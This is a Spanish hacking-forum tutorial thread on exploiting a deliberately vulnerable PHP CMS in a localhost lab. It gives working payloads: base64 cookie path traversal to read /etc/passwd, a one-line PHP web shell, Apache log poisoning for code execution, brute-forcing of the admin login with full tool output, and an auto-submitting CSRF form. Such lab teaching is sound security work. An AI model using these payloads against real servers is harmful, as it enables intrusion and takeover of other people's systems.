Enero 19, 2018, 12:13:37 am

Autor Tema: Probando en casa  (Leído 29049 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado seth

  • El mas real
  • Moderador
  • *****
  • Mensajes: 7889
  • Sexo: Masculino
    • Ver Perfil
Probando en casa
« en: Abril 23, 2009, 03:03:58 pm »
Cualquier duda, opinion, consejo, amenaza,
insulto, comentario, etc. va en
You are not allowed to view links. Register or Login este post




Practicar en tu propia pc es mucho mas facil que en algun servidor al que llegaste de casualidad. No tenes que preocuparte por los logs, los proxys o si es vulnerable o no.

Voy a tratar de ir dando códigos vulnerables (si, va a ser todo web) para hacer pruebas, pero antes hay que preparar todo:

Vamos a necesitar apache, php5 como módulo de apache y mysql. La forma mas facil de instalarlos es con unos packs que traen los 3.

Windows:
Hay muchos como xampp for windows, easy php, etc. El mejor que probé es wamp
You are not allowed to view links. Register or Login
Lo instalan, lo abren y tienen un menu con el control de todo (configuraciones, servicios, etc). Pueden dejar solo los servicios que vayan a usar y deshabilitar el resto.
Una vez instalado, ponen sus páginas en X:\RUTA\DE\INSTALACION\www


Gnu/Linux:
Lo mejor que encontre es xampp
You are not allowed to view links. Register or Login
Ahi tienen la descarga y los pasos para instalarlo y configurarlo. Después recomiendo hacer esto:
Código: You are not allowed to view links. Register or Login
# ln /opt/lampp/lampp /usr/bin Así no van a tener que escribir la ruta todo el tiempo
Sus webs las tienen que poner en /opt/lampp/htdocs


El resto:
Nunca los usé, prueben You are not allowed to view links. Register or Login, instalen todo manualmente o googleen.


Si tienen problemas con mysql (yo los tuve), NO lo arrancan desde el paquete y lo instalan desde You are not allowed to view links. Register or Login


Dudas? sugerencias? la próxima seguramente ponga un código vulnerable a xss para que se roben la cookie
« Última modificación: Octubre 08, 2010, 04:35:51 pm por >> s E t H << »


Ves links a xd-blog.com.ar que no andan? buscalos en You are not allowed to view links. Register or Login

Desconectado seth

  • El mas real
  • Moderador
  • *****
  • Mensajes: 7889
  • Sexo: Masculino
    • Ver Perfil
Re: Probando en casa
« Respuesta #1 en: Mayo 11, 2009, 02:07:48 pm »
Hice unas modificaciones a un cms muy simple que tenia. Ahora tiene varios bugs que voy a ir explicando como explotar

Descarga:
You are not allowed to view links. Register or Login
Agradescanle a darkgatox que lo encontró

0716836185e55a5632b049b811438a90  cms-probando en casa.tar.gz
Tamaño: 8285 bytes

Hay que bajarlo y ponerlo en la carpeta donde el servidor lee las webs. Despues tienen que asignarle los permisos a los archivos. Lo mas sencillo es abrir una shell, ir hasta la carpeta y ejecutar
Código: You are not allowed to view links. Register or Login
chmod -R 777 .chmod es el comando para cambiar permisos
-R indica que sea recursivo
777 indica que todos van a poder leer, ejecutar y escribir estos archivos
. indica que trabaje en el directorio actual

Ahora vayan a You are not allowed to view links. Register or Login y deberian ver la web vulnerable

Para que solo puedan acceder desde la misma pc y evitar ataques desde internet, editen el archivo httpd.conf (en xampp de linux esta en /opt/lampp/etc) y busquen donde dice Listen:
Citar
#
# Listen: Allows you to bind Apache to specific IP addresses and/or
# ports, instead of the default. See also the <VirtualHost>
# directive.
#
# Change this to Listen on specific IP addresses as shown below to
# prevent Apache from glomming onto all bound IP addresses.
#
#Listen 12.34.56.78:80
Listen 80
Todo lo que empieza con # son comentarios, asi que lo único importante es la ultima linea. Esta indica que apache escuche en el puerto 80. Para que solo se pueda entrar por localhost, cambienla por esto:
Citar
#
# Listen: Allows you to bind Apache to specific IP addresses and/or
# ports, instead of the default. See also the <VirtualHost>
# directive.
#
# Change this to Listen on specific IP addresses as shown below to
# prevent Apache from glomming onto all bound IP addresses.
#
#Listen 12.34.56.78:80
Listen 127.0.0.1:80


empiecen a testear, hay lfi, xsrf, xss, posibilidad de hacer fuerza bruta y capaz algo mas que me olvido.



Se aceptan mirrors.
Dudas, sugerencias o lo que sea van en un post aparte
« Última modificación: Julio 24, 2015, 11:44:00 pm por seth »

Desconectado seth

  • El mas real
  • Moderador
  • *****
  • Mensajes: 7889
  • Sexo: Masculino
    • Ver Perfil
Re: Probando en casa
« Respuesta #2 en: Mayo 11, 2009, 02:34:13 pm »
El cms esta organizado asi:


/ Carpeta donde estan todos los archivos que muestra el servidor web

->/cms/ Carpeta donde se aloja el cms

-->/cms/whoami/ De complicado que soy, el cms esta dentro de dos carpetas. Podria ser solo una y andaria igual, hasta podria estar en /

--->/cms/whoami/index.php Script que muestra los comentarios del admin al público
--->/cms/whoami/admin.php Script que usa el administrador para actualizar los comentarios (solo el conoce que este archivo existe)

--->/cms/whoami/idiomas/ Carpeta con las traducciones del cms
---->/cms/whoami/idiomas/lenguaje_en Archivo con la traduccion de la web al ingles
---->/cms/whoami/idiomas/lenguaje_es Archivo con la traduccion de la web al español

--->/cms/whoami/imagenes/ Carpeta donde se guardan las imágenes
---->/cms/whoami/imagenes/en.gif Banderita que representa el idioma inges
---->/cms/whoami/imagenes/es.gif Banderita que representa el idioma español

--->/cms/whoami/contenido/
---->/cms/whoami/contenido/cont.txt Aca se almacenan los comentarios


Lo verde son directorios
Lo rojo indica el nivel
Lo naranja son explicaciones


Podemos ver, por ejemplo:
La bandera inglesa You are not allowed to view links. Register or Login
El panel de administración You are not allowed to view links. Register or Login
El archivo con las palabras en español You are not allowed to view links. Register or Login
El archivo con las palabras en ingles You are not allowed to view links. Register or Login
Los comentarios You are not allowed to view links. Register or Login

Desconectado seth

  • El mas real
  • Moderador
  • *****
  • Mensajes: 7889
  • Sexo: Masculino
    • Ver Perfil
Re: Probando en casa
« Respuesta #3 en: Mayo 11, 2009, 05:11:53 pm »
El archivo index.php tiene la posibilidad de cambiar de idioma (ingles o español). El código de fuente empieza asi:
Código: You are not allowed to view links. Register or Login
<?
if (isset($_GET["len"])){
   setcookie("cosas_lenguaje",base64_encode($_GET["len"]),time()+3600,"/",null,null,true);
   header ("Location:?");
}

if (!(isset($_COOKIE["cosas_lenguaje"]))){
   include("idiomas/lenguaje_es");
}else{
   include("idiomas/lenguaje_".base64_decode($_COOKIE["cosas_lenguaje"]));
}
?>

Lo que hace es código es algo asi:
Citar
Si estas cambiando de idioma (la variable len, pasada por get):
-Pone la cookie (llamada cosas_lenguaje) con lo que pasaste por get en la variable len, codigicado en base64
-Refresca la página para que veas el cambio

Si no está puesta la cookie llamada cosas_lenguaje:
-Ejecuta el archivo lenguaje_es en el directorio idiomas

Si está puesta la cookie llamada cosas_lenguaje:
ejecuta el en idiomas/lenguaje_ y lo que está en la cookie, decodificado con base64

Esto funciona bien siempre y cuando no modifiques la cookie a mano.

Vamos a usar el plugin de firefox llamado Live HTTP Headers (a partir de ahora LHH) para ver y modificar lo que el navegador le manda al servidor, pero pueden usar el que mas les guste. Pueden bajarlo de You are not allowed to view links. Register or Login

Antes de continuar, seria bueno que lean lo siguiente para entender todo esto de las cabeceras, el http  y las cookies:
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

Ahora si, vamos a la página y seleccionamos algun idioma para que se ponga la cookie (se puede no hacerlo, pero asi es mas sencillo)
Abrimos LHH y volvemos a cargar la página (esta vez sin seleccionar ningun idioma). Vamos a ver que aparece la petición:


Hacemos click en Repetir y ponemos cualquier cosa en la cookie para ver que pasa:



Podemos ver que sale el siguiente error:
Código: You are not allowed to view links. Register or Login
Warning: include(idiomas/lenguaje_°KG) [function.include]: failed to open stream: No existe el fichero o el directorio in /opt/lampp/htdocs/cms/whoami/index.php on line 9

Warning: include() [function.include]: Failed opening 'idiomas/lenguaje_°KG' for inclusion (include_path='.:/opt/lampp/lib/php') in /opt/lampp/htdocs/cms/whoami/index.php on line 9
En este caso muestra el error, pero podria ser que no sea asi y la web siga siendo vulnerable (o no).
Lo que dice es que en la linea 9 de index.php se intentó ejecutar el archivo idiomas/lenguaje_°KG

La linea 9 es esta:
Código: You are not allowed to view links. Register or Login
  include("idiomas/lenguaje_".base64_decode($_COOKIE["cosas_lenguaje"]));O sea, que °KG es el resultado de decodificar con base64 s E t H
Para comprobarlo (y mas adelante realizar el ataque) sirve esta web: You are not allowed to view links. Register or Login

Ahora tenemos que pasar a explotar el lfi (como agrega parte de la ruta antes de lo que ingresamos no es rfi). Para eso se necesitan conocimientos previos, asi que no esta mal leer esto:
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

Para probar, vamos a tratar de incluir admin.php, solo para probar que esto funciona.
El primer problema que tenemos es que el script agrega lenguaje_ adelante de lo que queremos incluir. La forma de solucionar el problema es agregando esto:
Código: You are not allowed to view links. Register or Login
/../De esta forma nos va a quedar:
Código: You are not allowed to view links. Register or Login
idiomas/lenguaje_/../loquequeremosTodavia falta subir un directorio para llegar a whoami, que es donde esta admin.php asi que ponemos otro ../ seguido del archivo que vamos a incluir
Código: You are not allowed to view links. Register or Login
/../../admin.phpEso lo codificamos en base64, lo metemos en la cookie y refrescamos la pagina:

Ahora supongamos que encontramos un uploader que permite subir archivos en /opt/lampp/htdocs/cms/uploaded y que agrega .txt al final del nombre de los archivos que subimos.
Asi, pudimos subir shell.txt que lo podemos ver en You are not allowed to view links. Register or Login
En una web de verdad, deberiamos buscar el uploader. En este caso creamos el archivo con mousepad y listo, porque lo que importa es explotar el lfi y no subir archivos.
Ahora, para incluirlo deberiamos usar la ruta /../../../uploaded/shell.txt
El primer /../ anula el lenguaje_
el segundo ../ nos lleva hasta whoami
el tercer ../ nos lleva hasta cms
y despues es una ruta normal
Codificamos eso en base64, lo metemos en la cookie y hacemos la peticion pasando por GET el comando en la variable cmd

Tengan en cuenta que para ver la salida de los comandos hay que mirar el código html (Ver-> código de fuente) porque no viene con formato.
Para los mas vagos, esta shell muestra los resultados en una caja de texto del tamaño de la pantalla:
Código: You are not allowed to view links. Register or Login
<textarea style="width:100%; height:100%; position:absolute; top:1; left:1 margin:0 0 0 0; padding: 0 0 0 0; display: block"><?php system($_GET["cmd"]); ?></textarea>Si tienen problemas pasando los comandos, acuerdense de que tienen que estar codificados con urlencode (firefox lo hace automáticamente pero LHH no). Pueden usar esto: You are not allowed to view links. Register or Login

Despues de eso, podes dejar una backdoor, defacear (esta vez si lo digo, total no afecta a nadie defacear 127.0.0.1 :P), subir archivos o lo que tengas ganas.



Ahora que ya está todo esto explicado va a ser facil incluir el /etc/passwd (que teniendo la shell es al pedo, pero es un ejemplo muy común). Recordemos que cuando pusimos un archivo que no existía nos dia la ruta (Failed opening 'idiomas/lenguaje_°KG' for inclusion (include_path='.:/opt/lampp/lib/php') in /opt/lampp/htdocs/cms/whoami/index.php), ahora tenemos que escalar directorios hasta /, pasar a etc y despues leer el passwd:
Citar
/../../../../../../../etc/passwd
Si el script está en otra ruta, será otra cantidad de directorios a escalar
Lo codificamos en base64:
Citar
Ly4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2Q=
y lo pasamos como archivo a incluir. Miramos el código de fuente de la página y ahi encontramos nuestro archivo, que como no tiene las etiquetas de php (<? ?>) es mostrado completo.



Ahora viene la parte mas interesante, envenenar los logs. Apache guarda unos registros con lo que fue pasando en el servidor. Parte de la información que hay en ellos, se la da el navegador. Para saber donde estan, como funcionan y que datos guardan lee You are not allowed to view links. Register or Login.
Como ahi dice:
Citar
Además, los ficheros de registro pueden contener información suministrada directamente por el cliente, sin sustituir. Es posible por tanto que clientes con malas intenciones inserten caracteres de control en los ficheros de registro. Por ello es necesario tener cuidado cuando se procesan los ficheros de registro originales.

Este es mi archivo error_log:
Código: You are not allowed to view links. Register or Login
[Thu May 14 23:14:45 2009] [notice] suEXEC mechanism enabled (wrapper: /opt/lampp/bin/suexec)
[Thu May 14 23:14:45 2009] [warn] Init: Session Cache is not configured [hint: SSLSessionCache]
[Thu May 14 23:14:45 2009] [notice] Digest: generating secret for digest authentication ...
[Thu May 14 23:14:45 2009] [notice] Digest: done
[Thu May 14 23:14:46 2009] [notice] Apache/2.2.11 (Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8k PHP/5.2.9 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0 configured -- resuming normal operations
[Thu May 14 23:16:10 2009] [error] [client 127.0.0.1] File does not exist: /opt/lampp/htdocs/xampp/cms, referer: http://localhost/
[Thu May 14 23:16:14 2009] [error] [client 127.0.0.1] File does not exist: /opt/lampp/htdocs/xampp/cms, referer: http://localhost/
Como pueden ver, ahi aparecen el referer y el archivo pedido por el navegador, dos cosas que un atacante puede modificar.

Lo primero que tenemos que hacer es saber donde estan esos logs. Hay muchos programas que lo hacen automaticamente, pero hacerlo a mano tampoco es tan dificil. Primero, sabemos que es un xampp porque esta en /opt/lampp
Lampp guarda los logs en /opt/lampp/logs (puede modificarse en el httpd.conf, como lo indica el texto de apache), asi que vamos a incluirlos para estar seguros. Ya saben, es igual que antes:
Código: You are not allowed to view links. Register or Login
/../../../../logs/error_log
Código: You are not allowed to view links. Register or Login
Ly4uLy4uLy4uLy4uL2xvZ3MvZXJyb3JfbG9nSi todo va bien, vamos a ver el log. Tambien podemos hacerlo con los otros, como access_log

Ahora vamos a provocar un 404 (si queres saber mas sobre el estandar de estos códigos, visita You are not allowed to view links. Register or Login) pidiendo un archivo inexistente y con código php en el nombre para despues poder ejecutarlo:
You are not allowed to view links. Register or Login
Si ahora miramos error_log, vamos a encontrar el error registrado, pero no va a estar todo el código:
Código: You are not allowed to view links. Register or Login
[Thu May 14 23:44:47 2009] [error] [client 127.0.0.1] File does not exist: /opt/lampp/htdocs/cms/whoami/<, referer: http://localhost/Para solucionarlo vamos a pasar el código por rawurlencode (mas información en You are not allowed to view links. Register or Login, un codificador en You are not allowed to view links. Register or Login)
Resultado:
You are not allowed to view links. Register or Login
Ahora si, se agrega lo que queremos al log:
Citar
[Thu May 14 23:59:29 2009] [error] [client 127.0.0.1] File does not exist: /opt/lampp/htdocs/cms/whoami/<?php system("ls"); ?>
Si sale asi:
Citar
[Thu May 14 23:54:35 2009] [error] [client 127.0.0.1] File does not exist: /opt/lampp/htdocs/cms/whoami/<?php system(\\"ls\\"); ?>
Es porque en el php.ini está esta directiva:
Citar
magic_quotes_gpc = on
Como estamos probando, podemos ponerla en off y reiniciar apache. Mas información sobre esta directiva en You are not allowed to view links. Register or Login

El resultado de incluir los logs con código va a ser algo asi (puede ser muchisimo mas grande):
Código: You are not allowed to view links. Register or Login
<html><head><title></title></head><body>[Thu May 14 23:14:45 2009] [notice] suEXEC mechanism enabled (wrapper: /opt/lampp/bin/suexec)
[Thu May 14 23:14:45 2009] [warn] Init: Session Cache is not configured [hint: SSLSessionCache]
[Thu May 14 23:14:45 2009] [notice] Digest: generating secret for digest authentication ...
[Thu May 14 23:14:45 2009] [notice] Digest: done
[Thu May 14 23:14:46 2009] [notice] Apache/2.2.11 (Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8k PHP/5.2.9 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0 configured -- resuming normal operations
[Thu May 14 23:16:10 2009] [error] [client 127.0.0.1] File does not exist: /opt/lampp/htdocs/xampp/cms, referer: http://localhost/
[Thu May 14 23:16:14 2009] [error] [client 127.0.0.1] File does not exist: /opt/lampp/htdocs/xampp/cms, referer: http://localhost/
[Thu May 14 23:44:47 2009] [error] [client 127.0.0.1] File does not exist: /opt/lampp/htdocs/cms/whoami/&lt;, referer: http://localhost/
[Thu May 14 23:59:18 2009] [notice] Graceful restart requested, doing restart
[Thu May 14 23:59:18 2009] [notice] Digest: generating secret for digest authentication ...
[Thu May 14 23:59:18 2009] [notice] Digest: done
[Thu May 14 23:59:19 2009] [notice] Apache/2.2.11 (Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8k PHP/5.2.9 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0 configured -- resuming normal operations
[Thu May 14 23:59:29 2009] [error] [client 127.0.0.1] File does not exist: /opt/lampp/htdocs/cms/whoami/admin.php
contenido
idiomas
imagenes
index.php

Esto fue solo una prueba, lo que realmente sirve es poner una shell como la anterior, que permita cambiar los comandos. La del super textarea me gusta :D
Como es muy grande el error es otro y apache no lo decodifica, asi que podememos generar un 404 con un archivo inexistente cualquiera y mandar la shell sin codificar por el referer. A mi esto me funcionó, pero si tenes problemas segui probando que es facil.
Al final, quedó una entrada asi en el log:
Código: You are not allowed to view links. Register or Login
[Fri May 15 00:12:55 2009] [error] [client 127.0.0.1] File does not exist: /opt/lampp/htdocs/cms/whoami/asdsadasd, referer: <textarea style="width:100%; height:100%; position:absolute; top:1; left:1 margin:0 0 0 0; padding: 0 0 0 0; display: block"><?php system($_GET["cmd"]); ?></textarea>

Y bueno, hacemos lo mismo de siempre

Si por las magic_quotes o algun otro problema, no pueden usar comillas, usen una shell que no las tenga!
Código: You are not allowed to view links. Register or Login
<?php system($_GET[1]); ?>Al usarla, en lugar de pasar los comandos por cmd lo hacen por 1:
You are not allowed to view links. Register or Login
« Última modificación: Mayo 20, 2009, 03:56:00 pm por >> s E t H << »

Desconectado seth

  • El mas real
  • Moderador
  • *****
  • Mensajes: 7889
  • Sexo: Masculino
    • Ver Perfil
Re: Probando en casa
« Respuesta #4 en: Mayo 19, 2009, 07:35:59 pm »
Ahora vamos a intentar otro ataque contra la aplicación, fuerza bruta en el login del admin. Para esto, primero tenemos que encontrar donde se autentifica el administrador. Tenemos varias formas:
  • Con buscadores: Como trabajamos en localhost, la web no está indexada y no se puede hacer nada. Seria algo como esto: You are not allowed to view links. Register or Login
  • Con spiders: Ponemos un programa que baje el index y siga todos los links para armar la estructura del sitio. Hay archivos que al no estar enlazados no nos enteramos que existen
  • Fuerza bruta: Intentamos /admin/ /admin.php /admin.asp /login/ etc
  • Con archivos que dan información: Metadatos en documentos, archivos robots.txt, archivos sitemap.xml, etc. Nosotros no tenemos ninguno.
Como spider vamos a usar wget:
Código: You are not allowed to view links. Register or Login
wget --keep-session-cookies -r -p -l 0 -np -D localhost http:localhost/cms/whoami--keep-session-cookies hace que guarde las cookies de sesiones
-r indica que sea recursivo, es decir, siga buscando links en los archivos que baja
-p hace que baje todos los archivos necesarios para mostrar el html (imágenes, css, etc). Si estamos apurados podemos sacarlo
-l 0 significa que no hay un límite en la recursividad, va a seguir bajando archivos hasta que no encuentre mas
-np es para que no escale directorios (no se valla de /cms/whoami/)
-D localhost indica que solo trabaje en el dominio localhost
http:localhost/cms/whoami es el primer archivo que va a bajar



Despues de ejecutar eso va a bajar todos los archivos que pueda y los vamos a tener en la carpeta localhost.
Como la dirección donde se autentifica el administrador no está enlazada (por lo tanto no aparece en lo que bajamos y no sabemos donde está), vamos a tener que probar varias hasta encontrar la correcta.
Para esto vamos a usar pipper, que es una herramienta muy flexible. Hay ejemplos de uso, descargas y un manual en You are not allowed to view links. Register or Login

Lo que queremos es que pipper haga un monton de peticiones al servidor pidiendo archivos y nos muestre cuales existen. Podemos probar con todos los caracteres hasta encontrar algo, pero conviene usar una lista (logins.txt) y buscar con las extensiones comunes. Navegando por la web, vemos que los archivos donde puede estar el login (excluimos css, imagenes, etc) tienen extensión php, asi que seria al pedo buscar .asp o algun otro. Lo que nos conviene es buscar en http://localhost/cms/whoami/[palabra]/ y http://localhost/cms/whoami/[palabra].php

Vamos a ejecutar esto:
Código: You are not allowed to view links. Register or Login
perl pipper "http://localhost/cms/whoami/[file]" -v file=logins.txt -hc 404perl es para llamar al intérprete de perl
pipper es el script
"http://localhost/cms/whoami/[file]" es la url a probar
[file] es reemplazado por lo que indica el payload
-v file=logins.txt indica que [file] se va a rellenar con lo que hay en logins.txt
-hc 404 es para ocultar las peticiones que devuelvan un 404 (o sea, que no existe la página)

Despues agregamos .php al final de todos los archivos:
Código: You are not allowed to view links. Register or Login
perl pipper "http://localhost/cms/whoami/[file].php" -v file=logins.txt -hc 404
La salida (en la shell se ve mejor por los colores):
Citar
seth@debian:~/pipper/pipper$ ls
apachelogs.txt  extensions_common.txt  manual_es.html        nombres.txt         payloads.xml     sql_inj.txt       unicodes
big.txt         fuzz.txt               manual_es.pdf         nulls.txt           pipper           sqlservsp.txt     vulns
catala.txt      ldap_attr.txt          medium.txt            ones.txt            snmp.passwd      stress            xss.txt
common.txt      ldap.txt               milworm.txt           oracle              spanish_big.txt  string_inj.txt
euskera.txt     logins.txt             mutations_common.txt  passwords_long.txt  spanish.txt      tp_index_win.txt
seth@debian:~/pipper/pipper$ perl pipper "http://localhost/cms/whoami/[file]" -v file=logins.txt -hc 404
==[Options]============================================================================
   Url            : http://localhost/cms/whoami/[file]
   Vars           : file=logins.txt
   Payloads Path  : /home/xxxxxxxx/pipper/pipper
   Hide Codes     : 404
   Download Page  : no (using HEADs)
   Threads        : 20  - Payload : file - Aprox Requests : 12220
   Response Codes : 200 OK 204 Empty 301 Mved 401 Unauth. 404 NotFound 500 SrvError
==[Begin 17:00]========================================================================
   Server         : Apache/???
=======================================================================================
   #00001 200 6   24 cms/whoami/
   #06000 301 6=  26 cms/whoami/idiomas

==[End]================================================================================
seth@debian:~/pipper/pipper$ perl pipper "http://localhost/cms/whoami/[file].php" -v file=logins.txt -hc 404
==[Options]============================================================================
   Url            : http://localhost/cms/whoami/[file].php
   Vars           : file=logins.txt
   Payloads Path  : /home/xxxxxxxxx/pipper/pipper
   Hide Codes     : 404
   Download Page  : no (using HEADs)
   Threads        : 20  - Payload : file - Aprox Requests : 12220
   Response Codes : 200 OK 204 Empty 301 Mved 401 Unauth. 404 NotFound 500 SrvError
==[Begin 17:08]========================================================================
   Server         : Apache/???
=======================================================================================
   #00310 200 6   24 cms/whoami/admin.php
   #06069 200 6   24 cms/whoami/index.php

==[End]================================================================================

Asi vemos que existen:
Código: You are not allowed to view links. Register or Login
cms/whoami/
cms/whoami/idiomas
cms/whoami/admin.php
cms/whoami/index.php

Lo que estamos buscando es You are not allowed to view links. Register or Login



Si vemos el html de ese archivo, al principio dice asi:
Citar
<html><!--por si me llego a olvidar la pass es pwnzmAch1ne
total esto no lo ven :D--><head>
Podemos probar usarlo, hay tres opciones:
  • Que el programador sea tan idiota y ponga ahi la contraseña
  • Que sea solo una broma para hacerle perder el tiempo a los que esten tratando de entrar
  • Que sea una forma de detectar intrusos

En este caso es solo una broma y lo vemos en el código de fuente (del php, no en el html), pero si no lo sabemos, podria estar logueando los datos del que intenta entrar con esa contraseña, avisandole al administrador o baneando automáticamente el ip.

Tenemos dos ventajas para la fuerza bruta:
  • Solo hay que poner contraseña. Al no pedir un usuario hay que intentar menos combinaciones.
  • La contraseña se envia sin modificar, por lo que no hay que calcular hashes ni nada parecido.


Necesitamos saber como se envia la contraseña, asi que abrimos LHH y miramos que manda.


Ejecutamos pipper (no lo explico porque es muy parecido a lo anterior):
Citar
seth@debian:~/pipper/pipper$ perl pipper "http://localhost/cms/whoami/admin.php" pass=[file] -v file=passwords_long.txt
==[Options]============================================================================
   Url            : http://localhost/cms/whoami/admin.php
   Post Data      : pass=[file]
   Vars           : file=passwords_long.txt
   Payloads Path  : /home/xxxxxxxxx/pipper/pipper
   Download Page  : yes
   Threads        : 20  - Payload : file - Aprox Requests : 30623
   Response Codes : 200 OK 204 Empty 301 Mved 401 Unauth. 404 NotFound 500 SrvError
==[Begin 17:53]========================================================================
   Server         : Apache/???
=======================================================================================
   #00001 200 9   63 cms/whoami/admin.php pass=
   #00002 200 9=  63 cms/whoami/admin.php pass=1ASTest!
   #00003 200 9=  63 cms/whoami/admin.php pass=aalii
   #00005 200 9=  63 cms/whoami/admin.php pass=aba
   #00004 200 9=  63 cms/whoami/admin.php pass=aardwolf
   #00006 200 9=  63 cms/whoami/admin.php pass=abaca
   #00007 200 9=  63 cms/whoami/admin.php pass=abacist
   #00008 200 9=  63 cms/whoami/admin.php pass=abampere
   #00009 200 9=  63 cms/whoami/admin.php pass=abandonedly
   #00010 200 9=  63 cms/whoami/admin.php pass=abatis

^CDied at pipper line 15, <PROC> line 10.
despues de conseguir algunas respuestas lo cancelamos con CTRL+C. Todas esos intentos de arriba son obviamente fallidos, y todos devuelven 63 palabras. Para ver solo los intentos con exito vamos a ocultar los que tengan ese mismo largo:
Citar
perl pipper "http://localhost/cms/whoami/admin.php" pass=[file] -v file=passwords_long.txt -hw 63 -t 50
-hw 63 es para ocultar los resultados con 63 palabras
-t 50 es para usar 50 hilos y que sea mas rápido
Para que esto funcione me puse a ver family guy. ES MUY NECESARIO.

Al final no nos da ningun resultado:
Citar
seth@debian:~/pipper/pipper$ perl pipper "http://localhost/cms/whoami/admin.php" pass=[file] -v file=passwords_long.txt -hw 63 -t 50
==[Options]============================================================================
   Url            : http://localhost/cms/whoami/admin.php
   Post Data      : pass=[file]
   Vars           : file=passwords_long.txt
   Payloads Path  : /home/xxxxxxxxx/pipper/pipper
   Hide Words     : 63
   Download Page  : yes
   Threads        : 50  - Payload : file - Aprox Requests : 30623
   Response Codes : 200 OK 204 Empty 301 Mved 401 Unauth. 404 NotFound 500 SrvError
==[Begin 18:06]========================================================================
   Server         : Apache/???
=======================================================================================
==[End]================================================================================

Esto puede ser porque:
  • La contraseña no esta en el archivo que usamos
  • Al loguearse el resultado tambien son 63 palabras

Seguramente es el primer caso, asi que usamos otro diccionario (big.txt):
Citar
seth@debian:~/pipper/pipper$ perl pipper "http://localhost/cms/whoami/admin.php" pass=[file] -v file=big.txt -hw 63 -t 50
==[Options]============================================================================
   Url            : http://localhost/cms/whoami/admin.php
   Post Data      : pass=[file]
   Vars           : file=big.txt
   Payloads Path  : /home/xxxxxxxx/pipper/pipper
   Hide Words     : 63
   Download Page  : yes
   Threads        : 50  - Payload : file - Aprox Requests : 3046
   Response Codes : 200 OK 204 Empty 301 Mved 401 Unauth. 404 NotFound 500 SrvError
==[Begin 18:37]========================================================================
   Server         : Apache/???
=======================================================================================
   #02033 200 18  68 cms/whoami/admin.php pass=pass
==[End]================================================================================
Ya tenemos la contraseña, nos logueamos y vemos el panel de administración.
« Última modificación: Mayo 20, 2009, 03:55:20 pm por >> s E t H << »

Desconectado seth

  • El mas real
  • Moderador
  • *****
  • Mensajes: 7889
  • Sexo: Masculino
    • Ver Perfil
Re: Probando en casa
« Respuesta #5 en: Junio 26, 2009, 07:10:23 pm »
Antes de seguir tenes que saber un poco de xsrf:
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

En admin.php tenemos esta línea:
Código: You are not allowed to view links. Register or Login
$errorxsrf = $head.'<input style="color: #FFAA00; background-color: #000; width: 100%;" value="OMG, intento de xsrf!">'.$foot;

Eso parece ser el error que se muestra cuando se detecta un xsrf, pero si seguimos mirando no encontramos ningún filtro. Es una función que se va a implementar mas tarde :P

Código: You are not allowed to view links. Register or Login
if (isset($_COOKIE["cosas_pass"]) and ($_COOKIE["cosas_pass"]==sha1($pass.$_SERVER['REMOTE_ADDR']))){
    if (isset($_POST["nuevocomentario"]) and (!(empty($_POST["nuevocomentario"])))){
            $contenidoviejo="";
            
            if (file_exists("contenido/cont.txt")){
                $filePointer = fopen("contenido/cont.txt","r");
                    while (!(feof($filePointer))){
                        $contenidoviejo.=fgets($filePointer);
                    }
                fclose($filePointer);
            }
            
            $filePointer = fopen("contenido/cont.txt","w");
            $contenidonuevo = "\n".'<p class="fecha">'.date("j/n/y g:i").'</p>'.nl2br($_POST["nuevocomentario"]).'<br><hr width="50%"><br>'.$contenidoviejo;
            fputs($filePointer,$contenidonuevo);
            fclose($filePointer);
    }
    echo $panel;
}
En ningún lugar hay una comprobación contra xsrf, y tampoco hay ningun token en el form:
Código: You are not allowed to view links. Register or Login
   <h1>Admin panel</h1>
        
        Nuevo comentario:
        <form action="admin.php" method="POST">
            <textarea name="nuevocomentario" cols="100" rows="20">Texto</textarea>
            <br>
            <input type="submit" value="Enviar">
        </form>

Vamos a hacer que el admin postee sin saberlo, aunque se va a complicar un poco al ser por post. Primero que nada copiamos desde <form> hasta </form> y limpiamos todo lo que no sea parte del formulario (dejamos solo los <input>, <form>, y <textarea>. Los <select> y <option> hay que reemplazarlos por <input>). Por ahora viene quedando así:
Código: You are not allowed to view links. Register or Login
<form action="admin.php" method="POST">
<textarea name="nuevocomentario" cols="100" rows="20">Texto</textarea>
<input type="submit" value="Enviar">
</form>

Si no entendiste lo de las etiquetas lee esto:
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

Después cambiamos el atributo action del <form> y ponemos la ruta absoluta, en este caso You are not allowed to view links. Register or Login. Modificamos los valores de lo que se va a enviar, nos interesa lo que está en el <textarea>, porque es lo que se va a publicar. Queda así:
Código: You are not allowed to view links. Register or Login
<form action="http://localhost/cms/whoami/admin.php" method="POST">
<textarea name="nuevocomentario" cols="100" rows="20">OWNED!</textarea>
<input type="submit" value="Enviar">
</form>

Si el <form> no tiene un atributo name se lo inventamos. También agregamos las etiquetas <body> y <html> con sus cierres:
Código: You are not allowed to view links. Register or Login
<html><body>
<form action="http://localhost/cms/whoami/admin.php" method="POST" name="exploit">
<textarea name="nuevocomentario" cols="100" rows="20">OWNED!</textarea>
<input type="submit" value="Enviar">
</form>
</body></form>

Lo que sigue es hacer que el formulario se envie solo, usando javascript:
Código: You are not allowed to view links. Register or Login
<script>document.exploit.submit()</script>Esto hace que se envie (submit) el formulario llamado exploit (lo que puse en name).

Y queda así:
Código: You are not allowed to view links. Register or Login
<html><body>
<form action="http://localhost/cms/whoami/admin.php" method="POST" name="exploit">
<textarea name="nuevocomentario" cols="100" rows="20">OWNED!</textarea>
<input type="submit" value="Enviar">
</form>
<script>document.exploit.submit()</script>
</body></form>

